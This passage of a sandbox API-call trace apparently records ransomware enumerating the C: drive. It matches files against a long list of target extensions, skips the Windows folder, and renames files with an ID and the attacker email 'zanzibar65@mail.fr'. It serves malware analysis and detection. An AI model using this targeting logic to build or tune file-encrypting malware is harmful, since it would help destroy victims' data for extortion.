returned 4 [0266.739] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0266.739] lstrlenW (lpString=".gz") returned 3 [0266.739] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0266.739] lstrlenW (lpString=".h") returned 2 [0266.739] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0266.740] lstrlenW (lpString=".hdr") returned 4 [0266.740] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0266.740] lstrlenW (lpString=".hpp") returned 4 [0266.740] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0266.740] lstrlenW (lpString=".hta") returned 4 [0266.740] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0266.740] lstrlenW (lpString=".htc") returned 4 [0266.740] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0266.740] lstrlenW (lpString=".htm") returned 4 [0266.740] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0266.740] lstrlenW (lpString=".html") returned 5 [0266.740] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0266.740] lstrlenW (lpString=".icb") returned 4 [0266.740] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0266.740] lstrlenW (lpString=".ics") returned 4 [0266.740] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0266.740] lstrlenW (lpString=".iff") returned 4 [0266.740] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0266.740] lstrlenW (lpString=".inc") returned 4 [0266.740] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0266.740] lstrlenW (lpString=".indd") returned 5 [0266.740] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0266.740] lstrlenW (lpString=".ini") returned 4 [0266.740] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0266.740] FindNextFileW (in: hFindFile=0x399e88, lpFindFileData=0x35ff808 | out: lpFindFileData=0x35ff808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xbcad9530, ftCreationTime.dwHighDateTime=0x1d543f6, ftLastAccessTime.dwLowDateTime=0xbcad9530, ftLastAccessTime.dwHighDateTime=0x1d543f6, ftLastWriteTime.dwLowDateTime=0xbcaff690, ftLastWriteTime.dwHighDateTime=0x1d543f6, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[zanzibar65@mail.fr].html", cAlternateFileName="DESKTO~1.HTM")) returned 1 [0266.740] lstrlenW (lpString="desktop.ini.id-9C354B42.[zanzibar65@mail.fr].html") returned 49 [0266.740] lstrlenW (lpString=".1cd") returned 4 [0266.740] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0266.740] lstrlenW (lpString=".3ds") returned 4 [0266.740] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0266.740] lstrlenW (lpString=".3fr") returned 4 [0266.740] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0266.741] lstrlenW (lpString=".3g2") returned 4 [0266.741] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0266.741] lstrlenW (lpString=".3gp") returned 4 [0266.741] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0266.741] lstrlenW (lpString=".7z") returned 3 [0266.741] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0266.741] lstrlenW (lpString=".accda") returned 6 [0266.741] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1 [0266.741] lstrlenW (lpString=".accdb") returned 6 [0266.741] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1 [0266.741] lstrlenW (lpString=".accdc") returned 6 [0266.741] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1 [0266.741] lstrlenW (lpString=".accde") returned 6 [0266.741] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1 [0266.741] lstrlenW (lpString=".accdt") returned 6 [0266.741] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1 [0266.741] lstrlenW (lpString=".accdw") returned 6 [0266.741] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1 [0266.741] lstrlenW (lpString=".adb") returned 4 [0266.741] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0266.741] lstrlenW (lpString=".adp") returned 4 [0266.741] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0266.741] lstrlenW (lpString=".ai") returned 3 [0266.741] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0266.741] lstrlenW (lpString=".ai3") returned 4 [0266.741] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0266.741] lstrlenW (lpString=".ai4") returned 4 [0266.741] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0266.741] lstrlenW (lpString=".ai5") returned 4 [0266.741] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0266.741] lstrlenW (lpString=".ai6") returned 4 [0266.741] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0266.741] lstrlenW (lpString=".ai7") returned 4 [0266.741] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0266.741] lstrlenW (lpString=".ai8") returned 4 [0266.741] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0266.741] lstrlenW (lpString=".anim") returned 5 [0266.742] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0266.742] lstrlenW (lpString=".arw") returned 4 [0266.742] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0266.742] lstrlenW (lpString=".as") returned 3 [0266.742] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0266.742] lstrlenW (lpString=".asa") returned 4 [0266.742] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0266.742] lstrlenW (lpString=".asc") returned 4 [0266.742] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0266.742] lstrlenW (lpString=".ascx") returned 5 [0266.742] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0266.742] lstrlenW (lpString=".asm") returned 4 [0266.742] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0266.742] lstrlenW (lpString=".asmx") returned 5 [0266.742] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0266.742] lstrlenW (lpString=".asp") returned 4 [0266.742] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0266.742] lstrlenW (lpString=".aspx") returned 5 [0266.742] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0266.742] lstrlenW (lpString=".asr") returned 4 [0266.742] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0266.742] lstrlenW (lpString=".asx") returned 4 [0266.742] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0266.742] lstrlenW (lpString=".avi") returned 4 [0266.742] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0266.742] lstrlenW (lpString=".avs") returned 4 [0266.742] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0266.742] lstrlenW (lpString=".backup") returned 7 [0266.742] lstrcmpiW (lpString1=".backup", lpString2="r].html") returned -1 [0266.742] lstrlenW (lpString=".bak") returned 4 [0266.742] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0266.742] lstrlenW (lpString=".bay") returned 4 [0266.742] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0266.742] lstrlenW (lpString=".bd") returned 3 [0266.742] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0266.742] lstrlenW (lpString=".bin") returned 4 [0266.743] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0266.743] lstrlenW (lpString=".bmp") returned 4 [0266.743] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0266.743] lstrlenW (lpString=".bz2") returned 4 [0266.743] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0266.743] lstrlenW (lpString=".c") returned 2 [0266.743] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0266.743] lstrlenW (lpString=".cdr") returned 4 [0266.743] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0266.743] lstrlenW (lpString=".cer") returned 4 [0266.743] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0266.743] lstrlenW (lpString=".cf") returned 3 [0266.743] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0266.743] lstrlenW (lpString=".cfc") returned 4 [0266.743] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0266.743] lstrlenW (lpString=".cfm") returned 4 [0266.743] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0266.743] lstrlenW (lpString=".cfml") returned 5 [0266.743] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0266.743] lstrlenW (lpString=".cfu") returned 4 [0266.743] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0266.743] lstrlenW (lpString=".chm") returned 4 [0266.743] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0266.743] lstrlenW (lpString=".cin") returned 4 [0266.743] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0266.743] lstrlenW (lpString=".class") returned 6 [0266.743] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1 [0266.743] lstrlenW (lpString=".clx") returned 4 [0266.743] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0266.743] lstrlenW (lpString=".config") returned 7 [0266.743] lstrcmpiW (lpString1=".config", lpString2="r].html") returned -1 [0266.743] lstrlenW (lpString=".cpp") returned 4 [0266.743] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0266.743] lstrlenW (lpString=".cr2") returned 4 [0266.743] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0266.743] lstrlenW (lpString=".crt") returned 4 [0266.744] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".crw") returned 4 [0266.744] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".cs") returned 3 [0266.744] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0266.744] lstrlenW (lpString=".css") returned 4 [0266.744] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".csv") returned 4 [0266.744] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".cub") returned 4 [0266.744] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".dae") returned 4 [0266.744] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".dat") returned 4 [0266.744] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".db") returned 3 [0266.744] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0266.744] lstrlenW (lpString=".dbf") returned 4 [0266.744] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".dbx") returned 4 [0266.744] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".dc3") returned 4 [0266.744] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".dcm") returned 4 [0266.744] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".dcr") returned 4 [0266.744] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".der") returned 4 [0266.744] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".dib") returned 4 [0266.744] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".dic") returned 4 [0266.744] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".dif") returned 4 [0266.744] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0266.744] lstrlenW (lpString=".divx") returned 5 [0266.744] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0266.745] lstrlenW (lpString=".djvu") returned 5 [0266.745] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0266.745] lstrlenW (lpString=".dng") returned 4 [0266.745] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0266.745] lstrlenW (lpString=".doc") returned 4 [0266.745] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0266.745] lstrlenW (lpString=".docm") returned 5 [0266.745] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0266.745] lstrlenW (lpString=".docx") returned 5 [0266.745] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0266.745] lstrlenW (lpString=".dot") returned 4 [0266.745] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0266.745] lstrlenW (lpString=".dotm") returned 5 [0266.745] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0266.745] lstrlenW (lpString=".dotx") returned 5 [0266.745] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0266.745] lstrlenW (lpString=".dpx") returned 4 [0266.745] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0266.745] lstrlenW (lpString=".dqy") returned 4 [0266.745] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0266.745] lstrlenW (lpString=".dsn") returned 4 [0266.745] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0266.745] lstrlenW (lpString=".dt") returned 3 [0266.745] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0266.745] lstrlenW (lpString=".dtd") returned 4 [0266.745] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0266.745] lstrlenW (lpString=".dwg") returned 4 [0266.745] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0266.745] lstrlenW (lpString=".dwt") returned 4 [0266.745] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0266.745] lstrlenW (lpString=".dx") returned 3 [0266.745] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0266.745] lstrlenW (lpString=".dxf") returned 4 [0266.745] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0266.745] lstrlenW (lpString=".edml") returned 5 [0266.745] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0266.745] lstrlenW (lpString=".efd") returned 4 [0266.746] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0266.746] lstrlenW (lpString=".elf") returned 4 [0266.746] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0266.746] lstrlenW (lpString=".emf") returned 4 [0266.746] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0266.746] lstrlenW (lpString=".emz") returned 4 [0266.746] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0266.746] lstrlenW (lpString=".epf") returned 4 [0266.746] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0266.746] lstrlenW (lpString=".eps") returned 4 [0266.746] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0266.746] lstrlenW (lpString=".epsf") returned 5 [0266.746] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0266.746] lstrlenW (lpString=".epsp") returned 5 [0266.746] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0266.746] lstrlenW (lpString=".erf") returned 4 [0266.746] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0266.746] lstrlenW (lpString=".exr") returned 4 [0266.746] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0266.746] lstrlenW (lpString=".f4v") returned 4 [0266.746] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0266.746] lstrlenW (lpString=".fido") returned 5 [0266.746] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0266.746] lstrlenW (lpString=".flm") returned 4 [0266.746] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0266.746] lstrlenW (lpString=".flv") returned 4 [0266.746] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0266.746] lstrlenW (lpString=".frm") returned 4 [0266.746] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0266.746] lstrlenW (lpString=".fxg") returned 4 [0266.746] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0266.746] lstrlenW (lpString=".geo") returned 4 [0266.746] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0266.746] lstrlenW (lpString=".gif") returned 4 [0266.746] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0266.746] lstrlenW (lpString=".grs") returned 4 [0266.747] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0266.747] FindClose (in: hFindFile=0x399e88 | out: hFindFile=0x399e88) returned 1 [0266.747] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3a30f38 | out: hHeap=0x2a0000) returned 1 [0266.747] FindNextFileW (in: hFindFile=0x399e48, lpFindFileData=0x35ffa84 | out: lpFindFileData=0x35ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x47d2a560, ftLastAccessTime.dwHighDateTime=0x1d543f7, ftLastWriteTime.dwLowDateTime=0x47d2a560, ftLastWriteTime.dwHighDateTime=0x1d543f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0266.747] FindClose (in: hFindFile=0x399e48 | out: hFindFile=0x399e48) returned 1 [0266.747] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3a20f30 | out: hHeap=0x2a0000) returned 1 [0266.747] FindNextFileW (in: hFindFile=0x383228, lpFindFileData=0x35ffd00 | out: lpFindFileData=0x35ffd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xbcc0a030, ftLastAccessTime.dwHighDateTime=0x1d543f6, ftLastWriteTime.dwLowDateTime=0xbcc0a030, ftLastWriteTime.dwHighDateTime=0x1d543f6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0266.747] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x3a20f30 [0266.747] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x35ffa84 | out: lpFindFileData=0x35ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xbcc0a030, ftLastAccessTime.dwHighDateTime=0x1d543f6, ftLastWriteTime.dwLowDateTime=0xbcc0a030, ftLastWriteTime.dwHighDateTime=0x1d543f6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b128 [0266.748] FindNextFileW (in: hFindFile=0x31b128, lpFindFileData=0x35ffa84 | out: lpFindFileData=0x35ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xbcc0a030, ftLastAccessTime.dwHighDateTime=0x1d543f6, ftLastWriteTime.dwLowDateTime=0xbcc0a030, ftLastWriteTime.dwHighDateTime=0x1d543f6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.748] FindNextFileW (in: hFindFile=0x31b128, lpFindFileData=0x35ffa84 | out: lpFindFileData=0x35ffa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0266.748] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x3a30f38 [0267.209] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x41e9230 [0267.209] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x35ff094 | out: lpFindFileData=0x35ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b8e8 [0267.271] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x35ff094 | out: lpFindFileData=0x35ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.271] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x35ff094 | out: lpFindFileData=0x35ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 Thread: id = 104 os_tid = 0x698 [0266.750] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x3a40f40 [0266.750] lstrlenW (lpString="C:") returned 2 [0266.750] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x373fd00 | out: lpFindFileData=0x373fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x31b168 [0266.750] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0266.750] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0266.750] lstrlenW (lpString="$Recycle.Bin") returned 12 [0266.750] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0266.750] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x4180048 [0266.751] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0266.751] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x373fa84 | out: lpFindFileData=0x373fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b1a8 [0266.751] FindNextFileW (in: hFindFile=0x31b1a8, lpFindFileData=0x373fa84 | out: lpFindFileData=0x373fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.751] FindNextFileW (in: hFindFile=0x31b1a8, lpFindFileData=0x373fa84 | out: lpFindFileData=0x373fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x47d2a560, ftLastAccessTime.dwHighDateTime=0x1d543f7, ftLastWriteTime.dwLowDateTime=0x47d2a560, ftLastWriteTime.dwHighDateTime=0x1d543f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0266.751] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0266.751] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0266.751] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0266.751] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0266.751] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x4190050 [0266.751] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0266.751] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x373f808 | out: lpFindFileData=0x373f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x47d2a560, ftLastAccessTime.dwHighDateTime=0x1d543f7, ftLastWriteTime.dwLowDateTime=0x47d2a560, ftLastWriteTime.dwHighDateTime=0x1d543f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b1e8 [0266.751] FindNextFileW (in: hFindFile=0x31b1e8, lpFindFileData=0x373f808 | out: lpFindFileData=0x373f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x47d2a560, ftLastAccessTime.dwHighDateTime=0x1d543f7, ftLastWriteTime.dwLowDateTime=0x47d2a560, ftLastWriteTime.dwHighDateTime=0x1d543f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.751] FindNextFileW (in: hFindFile=0x31b1e8, lpFindFileData=0x373f808 | out: lpFindFileData=0x373f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x47d2a560, ftCreationTime.dwHighDateTime=0x1d543f7, ftLastAccessTime.dwLowDateTime=0x47d2a560, ftLastAccessTime.dwHighDateTime=0x1d543f7, ftLastWriteTime.dwLowDateTime=0x47d506c0, ftLastWriteTime.dwHighDateTime=0x1d543f7, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.752] lstrlenW (lpString="desktop.ini") returned 11 [0266.752] lstrlenW (lpString=".1cd") returned 4 [0266.752] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0266.752] lstrlenW (lpString=".3ds") returned 4 [0266.752] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0266.752] lstrlenW (lpString=".3fr") returned 4 [0266.752] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0266.752] lstrlenW (lpString=".3g2") returned 4 [0266.752] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0266.752] lstrlenW (lpString=".3gp") returned 4 [0266.752] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0266.752] lstrlenW (lpString=".7z") returned 3 [0266.752] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0266.752] lstrlenW (lpString=".accda") returned 6 [0266.752] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0266.752] lstrlenW (lpString=".accdb") returned 6 [0266.752] lstrcmpiW (lpString1=".accdb", 